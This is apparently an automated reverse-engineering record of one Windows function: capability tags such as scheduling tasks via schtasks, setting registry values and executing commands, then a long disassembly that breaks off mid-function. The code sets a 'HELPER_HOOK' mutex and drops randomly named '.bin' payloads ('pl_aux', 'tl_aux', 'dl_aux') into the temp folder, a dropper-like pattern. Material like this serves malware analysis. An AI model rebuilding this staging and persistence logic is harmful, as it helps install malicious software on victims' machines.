Function at 0x180007dd0
Capabilities:
Check if file exists
Check mutex on windows
Check os version
Copy file
Create process on windows
Delete file
Execute command
Get common file path
Get disk information
Get session user name
Move file
Query environment variable
Schedule task via schtasks
Set console window title
Set current directory
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4020]
mov eax, 0x4120
call fcn.18000e6e0
sub rsp, rax
movaps xmmword [rsp + 0x4110], xmm6
movaps xmmword [rsp + 0x4100], xmm7
mov rax, qword [0x1804a3780]
xor rax, rsp
mov qword [rbp + 0x3ff0], rax
mov rsi, rdx
mov qword [rsp + 0x70], rdx
movsxd r14, ecx
mov dword [rsp + 0x58], r14d
xor ebx, ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov dword [rbp + 0x2ee0], 0x11c
mov qword [rbp + 0x2eec], rbx
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x2ef4]
call sub.VCRUNTIME140.dll_memset
mov word [rbp + 0x2ff6], bx
xor eax, eax
mov dword [rbp + 0x2ff8], eax
mov r8b, 3
mov edx, 2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov rcx, rax
mov r8b, 3
mov r13d, 1
mov edx, r13d
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov rcx, rax
mov r8b, 3
mov edx, 0x20
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov qword [rbp + 0x2ee4], 6
mov word [rbp + 0x2ff4], bx
mov r8, rax
mov edx, 0x23
lea rcx, [rbp + 0x2ee0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x180007edd
call qword [sym.imp.USER32.dll_IsProcessDPIAware]
test eax, eax
jne 0x180007edd
call qword [sym.imp.USER32.dll_SetProcessDPIAware]
mov dword [rbp - 0x70], 0x101
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x3aa0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rbp + 0x3770]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, [rbp + 0x3770]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea rcx, [rbp + 0x3770]
call qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
lea rcx, [rbp + 0x3770]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov r8d, 0x104
lea rdx, [rbp + 0x3bb0]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, rbx
nop
movzx eax, byte [rbp + rcx + 0x3bb0]
mov byte [rbp + rcx + 0x3990], al
lea rcx, [rcx + 1]
test al, al
jne 0x180007f50
mov rcx, rbx
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x3bb0]
mov byte [rbp + rcx + 0x3660], al
lea rcx, [rcx + 1]
test al, al
jne 0x180007f70
lea rcx, [rbp + 0x3990]
call qword [sym.imp.SHLWAPI.dll_PathStripPathA]
lea rcx, [rbp + 0x3660]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea rcx, [rbp + 0x3660]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea rcx, [rbp + 0x3660]
call qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
lea rcx, [rbp + 0x3660]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
lea rdx, [rbp + 0x3000]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rbp + 0x3000]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea rcx, [rbp + 0x3000]
call qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
lea rcx, [rbp + 0x3000]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
mov edx, 0x104
lea rcx, [rbp + 0x3880]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rbp + 0x3880]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea rcx, [rbp + 0x3880]
call qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
lea rcx, [rbp + 0x3880]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
mov edx, 0x104
lea rcx, [rbp + 0x3220]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x3220]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea rcx, [rbp + 0x3220]
call qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
lea rcx, [rbp + 0x3220]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
lea rax, [rbp + 0x3550]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rcx, [rbp + 0x3550]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea rcx, [rbp + 0x3550]
call qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
lea rcx, [rbp + 0x3550]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
lea rax, [rbp + 0x3110]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rcx, [rbp + 0x3110]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea rcx, [rbp + 0x3110]
call qword [sym.imp.SHLWAPI.dll_PathMakePrettyA]
lea rcx, [rbp + 0x3110]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
cmp r14d, 2
jle 0x18000c59f
mov rax, qword [rsi + 8]
cmp byte [rax], 0x2d
jne 0x18000c5a8
cmp byte [rax + 1], 0x61
jne 0x18000c5a8
cmp byte [rax + 2], bl
jne 0x18000c5a8
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp + 0x1060]
call fcn.180001e20
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1060]
call fcn.1800073b0
nop
lea rcx, [rbp + 0x1060]
call fcn.180002290
mov edx, r13d
lea rcx, [0x180004b20]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
lea rdi, str._ccc
cmp r14d, 4
jle 0x1800081d8
mov rdx, rbx
mov r8, qword [rsi + 0x20]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
inc rdx
cmp al, byte [rdi + rdx - 1]
jne 0x1800081e2
cmp rdx, 5
jne 0x180008190
lea rdx, str.KBSIG_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
lea rcx, [0x180004b20]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
jmp 0x1800081e2
cmp r14d, 3
jle 0x18000c38e
mov rcx, rbx
mov rdx, qword [rsi + 0x18]
lea r8, [0x180011d34]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000c38e
cmp rcx, 4
jne 0x1800081f0
lea rdx, str.INIT
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x3660]
lea r8, [rbp + 0x3110]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180008253
inc rax
test ecx, ecx
jne 0x180008240
test edx, edx
jne 0x1800082c1
cmp r14d, 4
jle 0x1800082ae
mov rcx, rbx
mov rdx, qword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rdi + rcx - 1]
jne 0x1800082ae
cmp rcx, 5
jne 0x180008270
lea rdx, str.CSL_TRUE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
jmp 0x1800082b4
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov edx, r13d
mov ecx, 0xea60
call fcn.180005a20
mov edx, r14d
lea rcx, [rbp + 0x1a80]
call fcn.180007610
mov rdi, rax
lea rdx, str.ARGC:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
mov rdx, rdi
call fcn.1800011b0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x1a80]
call fcn.180002290
mov r15d, ebx
mov r12, r14
test r14d, r14d
je 0x1800083d2
mov r14, rbx
mov edx, r15d
lea rcx, [rbp + 0xf80]
call fcn.180007610
mov rdi, rax
lea rdx, str.ARGV
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x180008352
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.180001570
lea rdx, [0x180011c84]
mov rcx, rax
call fcn.1800011d0
mov rcx, rax
mov rdx, qword [rsi + r14*8]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r8, qword [rbp + 0xf98]
cmp r8, 0xf
jbe 0x1800083aa
mov rdx, qword [rbp + 0xf80]
lea rcx, [rbp + 0xf80]
call fcn.180002990
mov qword [rbp + 0xf90], rbx
mov qword [rbp + 0xf98], 0xf
mov byte [rbp + 0xf80], 0
inc r15d
inc r14
cmp r14, r12
jl 0x180008320
lea r8, str.HELPER_HOOK
mov edx, r13d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180008419
lea rdx, str.ERROR_ALREADY_EXISTS
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x104
lea rdx, [rbp + 0x3440]
lea rcx, str._HOMEDRIVE_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rdx, str._HOMEDRIVE_
lea rcx, [rbp + 0x3440]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
mov rdi, 0xffffffffffffffff
test eax, eax
jne 0x18000848c
movzx eax, word [0x180011de8]
mov word [rbp + 0x3338], ax
movzx eax, byte [0x180011dea]
mov byte [rbp + 0x333a], al
movzx eax, word [0x180011dec]
mov word [rbp + 0x3440], ax
movzx eax, byte [0x180011dee]
mov byte [rbp + 0x3442], al
jmp 0x180008519
mov rcx, rbx
nop
movzx eax, byte [rbp + rcx + 0x3440]
mov byte [rbp + rcx + 0x3cc0], al
lea rcx, [rcx + 1]
test al, al
jne 0x180008490
lea rcx, [rbp + 0x3cc0]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8d, 0x104
lea rdx, [rbp + 0x3330]
lea rcx, [rbp + 0x3cc0]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea rcx, [rbp + 0x3330]
mov rax, rdi
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x1800084f0
test rax, rax
jne 0x180008529
movzx eax, word [0x180011de8]
mov word [rbp + 0x3338], ax
movzx eax, byte [0x180011dea]
mov byte [rbp + 0x333a], al
movsd xmm0, qword [str.Local_Disk]
movsd qword [rbp + 0x3330], xmm0
lea rcx, [rbp + 0x3440]
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea rcx, [rbp + 0x3000]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea rax, [rbp + 0x190]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], rbx
mov qword [rbp + 0x1a8], rbx
mov r8d, 5
lea rdx, [0x180011df0]
lea rcx, [rbp + 0x190]
call fcn.180001460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rbx
mov qword [rbp + 0x188], rbx
lea rax, [rbp + 0x3000]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1800085a3
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0x170]
call fcn.180001460
nop
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x170]
call fcn.180003f50
xorps xmm0, xmm0
movups xmmword [rbp + 0xae0], xmm0
movdqa xmm1, xmmword [0x180012670]
movdqu xmmword [rbp + 0xaf0], xmm1
mov dword [rbp + 0xae0], 0x6e69622e
mov byte [rbp + 0xae4], 0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x1aa0]
call fcn.180007610
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb00], xmm0
movdqa xmm1, xmmword [0x180012660]
movdqu xmmword [rbp + 0xb10], xmm1
mov eax, 0x6c65
mov word [rbp + 0xb00], ax
mov byte [rbp + 0xb02], 0
movups xmmword [rbp + 0xee0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xef0], xmm1
lea rax, [rbp + 0x3000]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x180008660
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0xee0]
call fcn.180001460
nop
lea r9, [rbp + 0xb00]
lea r8, [rbp + 0xee0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x10a0]
call fcn.180001e60
nop
mov r9, rsi
lea r8, [rbp + 0x10a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1080]
call fcn.180001e60
nop
lea r9, [rbp + 0xae0]
lea r8, [rbp + 0x1080]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x920]
call fcn.180001e60
nop
lea rcx, [rbp + 0x1080]
call fcn.180002290
nop
lea rcx, [rbp + 0x10a0]
call fcn.180002290
nop
mov r8, qword [rbp + 0xef8]
cmp r8, 0xf
jbe 0x180008714
mov rdx, qword [rbp + 0xee0]
lea rcx, [rbp + 0xee0]
call fcn.180002990
movdqa xmm7, xmmword [0x180012640]
movdqu xmmword [rbp + 0xef0], xmm7
mov byte [rbp + 0xee0], 0
mov r8, qword [rbp + 0xb18]
cmp r8, 0xf
jbe 0x18000874b
mov rdx, qword [rbp + 0xb00]
lea rcx, [rbp + 0xb00]
call fcn.180002990
movdqu xmmword [rbp + 0xb10], xmm7
mov byte [rbp + 0xb00], 0
lea rcx, [rbp + 0x1aa0]
call fcn.180002290
nop
mov r8, qword [rbp + 0xaf8]
cmp r8, 0xf
jbe 0x180008787
mov rdx, qword [rbp + 0xae0]
lea rcx, [rbp + 0xae0]
call fcn.180002990
movdqu xmmword [rbp + 0xaf0], xmm7
mov byte [rbp + 0xae0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xac0], xmm0
movdqa xmm1, xmmword [0x180012670]
movdqu xmmword [rbp + 0xad0], xmm1
mov dword [rbp + 0xac0], 0x6e69622e
mov byte [rbp + 0xac4], 0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x1ac0]
call fcn.180007610
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb20], xmm0
movdqa xmm1, xmmword [0x180012660]
movdqu xmmword [rbp + 0xb30], xmm1
mov eax, 0x6c70
mov word [rbp + 0xb20], ax
mov byte [rbp + 0xb22], 0
movups xmmword [rbp + 0xec0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xed0], xmm1
lea rax, [rbp + 0x3000]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x180008821
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0xec0]
call fcn.180001460
nop
lea r9, [rbp + 0xb20]
lea r8, [rbp + 0xec0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x14c0]
call fcn.180001e60
nop
mov r9, rsi
lea r8, [rbp + 0x14c0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x10c0]
call fcn.180001e60
nop
lea r9, [rbp + 0xac0]
lea r8, [rbp + 0x10c0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xa00]
call fcn.180001e60
nop
lea rcx, [rbp + 0x10c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x14c0]
call fcn.180002290
nop
mov r8, qword [rbp + 0xed8]
cmp r8, 0xf
jbe 0x1800088d5
mov rdx, qword [rbp + 0xec0]
lea rcx, [rbp + 0xec0]
call fcn.180002990
movdqu xmmword [rbp + 0xed0], xmm7
mov byte [rbp + 0xec0], 0
mov r8, qword [rbp + 0xb38]
cmp r8, 0xf
jbe 0x180008904
mov rdx, qword [rbp + 0xb20]
lea rcx, [rbp + 0xb20]
call fcn.180002990
movdqu xmmword [rbp + 0xb30], xmm7
mov byte [rbp + 0xb20], 0
lea rcx, [rbp + 0x1ac0]
call fcn.180002290
nop
mov r8, qword [rbp + 0xad8]
cmp r8, 0xf
jbe 0x180008940
mov rdx, qword [rbp + 0xac0]
lea rcx, [rbp + 0xac0]
call fcn.180002990
movdqu xmmword [rbp + 0xad0], xmm7
mov byte [rbp + 0xac0], 0
lea rdx, [rbp + 0xa00]
cmp qword [rbp + 0xa18], 0xf
cmova rdx, qword [rbp + 0xa00]
xor r8d, r8d
lea rcx, str.pl_aux
call fcn.180003b90
test eax, eax
jne 0x18000898f
lea rcx, [rbp + 0xa00]
call fcn.180002d10
mov rcx, rax
call fcn.180004b60
jmp 0x180008994
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb60], xmm0
movdqa xmm1, xmmword [0x180012670]
movdqu xmmword [rbp + 0xb70], xmm1
mov dword [rbp + 0xb60], 0x6e69622e
mov byte [rbp + 0xb64], 0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x1ae0]
call fcn.180007610
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb40], xmm0
movdqa xmm1, xmmword [0x180012660]
movdqu xmmword [rbp + 0xb50], xmm1
mov eax, 0x6c74
mov word [rbp + 0xb40], ax
mov byte [rbp + 0xb42], 0
movups xmmword [rbp + 0xea0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xeb0], xmm1
lea rax, [rbp + 0x3000]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x180008a24
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0xea0]
call fcn.180001460
nop
lea r9, [rbp + 0xb40]
lea r8, [rbp + 0xea0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1480]
call fcn.180001e60
nop
mov r9, rsi
lea r8, [rbp + 0x1480]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x14a0]
call fcn.180001e60
nop
lea r9, [rbp + 0xb60]
lea r8, [rbp + 0x14a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x9e0]
call fcn.180001e60
nop
lea rcx, [rbp + 0x14a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1480]
call fcn.180002290
nop
mov r8, qword [rbp + 0xeb8]
cmp r8, 0xf
jbe 0x180008ad8
mov rdx, qword [rbp + 0xea0]
lea rcx, [rbp + 0xea0]
call fcn.180002990
movdqu xmmword [rbp + 0xeb0], xmm7
mov byte [rbp + 0xea0], 0
mov r8, qword [rbp + 0xb58]
cmp r8, 0xf
jbe 0x180008b07
mov rdx, qword [rbp + 0xb40]
lea rcx, [rbp + 0xb40]
call fcn.180002990
movdqu xmmword [rbp + 0xb50], xmm7
mov byte [rbp + 0xb40], 0
lea rcx, [rbp + 0x1ae0]
call fcn.180002290
nop
mov r8, qword [rbp + 0xb78]
cmp r8, 0xf
jbe 0x180008b43
mov rdx, qword [rbp + 0xb60]
lea rcx, [rbp + 0xb60]
call fcn.180002990
movdqu xmmword [rbp + 0xb70], xmm7
mov byte [rbp + 0xb60], 0
lea rdx, [rbp + 0x9e0]
cmp qword [rbp + 0x9f8], 0xf
cmova rdx, qword [rbp + 0x9e0]
xor r8d, r8d
lea rcx, str.tl_aux
call fcn.180003b90
test eax, eax
jne 0x180008b92
lea rcx, [rbp + 0x9e0]
call fcn.180002d10
mov rcx, rax
call fcn.180004b60
jmp 0x180008b97
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x180012670]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xba0], 0x6e69622e
mov byte [rbp + 0xba4], 0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x1b00]
call fcn.180007610
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb80], xmm0
movdqa xmm1, xmmword [0x180012660]
movdqu xmmword [rbp + 0xb90], xmm1
mov eax, 0x6c64
mov word [rbp + 0xb80], ax
mov byte [rbp + 0xb82], 0
movups xmmword [rbp + 0xe80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe90], xmm1
lea rax, [rbp + 0x3000]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x180008c26
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0xe80]
call fcn.180001460
nop
lea r9, [rbp + 0xb80]
lea r8, [rbp + 0xe80]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1440]
call fcn.180001e60
nop
mov r9, rsi
lea r8, [rbp + 0x1440]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1460]
call fcn.180001e60
nop
lea r9, [rbp + 0xba0]
lea r8, [rbp + 0x1460]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xa80]
call fcn.180001e60
nop
lea rcx, [rbp + 0x1460]
call fcn.180002290
nop
lea rcx, [rbp + 0x1440]
call fcn.180002290
nop
mov r8, qword [rbp + 0xe98]
cmp r8, 0xf
jbe 0x180008cda
mov rdx, qword [rbp + 0xe80]
lea rcx, [rbp + 0xe80]
call fcn.180002990
movdqu xmmword [rbp + 0xe90], xmm7
mov byte [rbp + 0xe80], 0
mov r8, qword [rbp + 0xb98]
cmp r8, 0xf
jbe 0x180008d09
mov rdx, qword [rbp + 0xb80]
lea rcx, [rbp + 0xb80]
call fcn.180002990
movdqu xmmword [rbp + 0xb90], xmm7
mov byte [rbp + 0xb80], 0
lea rcx, [rbp + 0x1b00]
call fcn.180002290
nop
mov r8, qword [rbp + 0xbb8]
cmp r8, 0xf
jbe 0x180008d45
mov rdx, qword [rbp + 0xba0]
lea rcx, [rbp + 0xba0]
call fcn.180002990
movdqu xmmword [rbp + 0xbb0], xmm7
mov byte [rbp + 0xba0], 0
lea rdx, [rbp + 0xa80]
cmp qword [rbp + 0xa98], 0xf
cmova rdx, qword [rbp + 0xa80]
xor r8d, r8d
lea rcx, str.dl_aux
call fcn.180003b90
test eax, eax
jne 0x180008d94
lea rcx, [rbp + 0xa80]
call fcn.180002d10
mov rcx, rax
call fcn.180004b60
jmp 0x180008d99
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x78], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xbe0], xmm0
movdqa xmm1, xmmword [0x180012670]
movdqu xmmword [rbp + 0xbf0], xmm1
mov dword [rbp + 0xbe0], 0x6e69622e
mov byte [rbp + 0xbe4], 0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x1b20]
call fcn.180007610
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xbc0], xmm0
movdqa xmm1, xmmword [0x180012660]
movdqu xmmword [rbp + 0xbd0], xmm1
mov eax, 0x7864
mov word [rbp + 0xbc0], ax
mov byte [rbp + 0xbc2], 0
movups xmmword [rbp + 0xe60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe70], xmm1
lea rax, [rbp + 0x3000]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180008e30
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0xe60]
call fcn.180001460
nop
lea r9, [rbp + 0xbc0]
lea r8, [rbp + 0xe60]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1400]
call fcn.180001e60
nop
mov r9, rsi
lea r8, [rbp + 0x1400]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1420]
call fcn.180001e60
nop
lea r9, [rbp + 0xbe0]
lea r8, [rbp + 0x1420]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x9c0]
call fcn.180001e60
nop
lea rcx, [rbp + 0x1420]
call fcn.180002290
nop
lea rcx, [rbp + 0x1400]
call fcn.180002290
nop
mov r8, qword [rbp + 0xe78]
cmp r8, 0xf
jbe 0x180008ee4
mov rdx, qword [rbp + 0xe60]
lea rcx, [rbp + 0xe60]
call fcn.180002990
movdqu xmmword [rbp + 0xe70], xmm7
mov byte [rbp + 0xe60], 0
mov r8, qword [rbp + 0xbd8]
cmp r8, 0xf
jbe 0x180008f13
mov rdx, qword [rbp + 0xbc0]
lea rcx, [rbp + 0xbc0]
call fcn.180002990
movdqu xmmword [rbp + 0xbd0], xmm7
mov byte [rbp + 0xbc0], 0
lea rcx, [rbp + 0x1b20]
call fcn.180002290
nop
mov r8, qword [rbp + 0xbf8]
cmp r8, 0xf
jbe 0x180008f4f
mov rdx, qword [rbp + 0xbe0]
lea rcx, [rbp + 0xbe0]
call fcn.180002990
movdqu xmmword [rbp + 0xbf0], xmm7
mov byte [rbp + 0xbe0], 0
lea rdx, [rbp + 0x9c0]
cmp qword [rbp + 0x9d8], 0xf
cmova rdx, qword [rbp + 0x9c0]
xor r8d, r8d
lea rcx, str.dummy_bin
call fcn.180003b90
test eax, eax
jne 0x180008f9e
lea rcx, [rbp + 0x9c0]
call fcn.180002d10
mov rcx, rax
call fcn.180004b60
jmp 0x180008fa3
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc50], xmm1
mov r8d, 4
lea rdx, str..bin
lea rcx, [rbp + 0xc40]
call fcn.180001460
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x1b60]
call fcn.180007610
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe30], xmm1
mov r8d, 2
lea rdx, [0x180011e00]
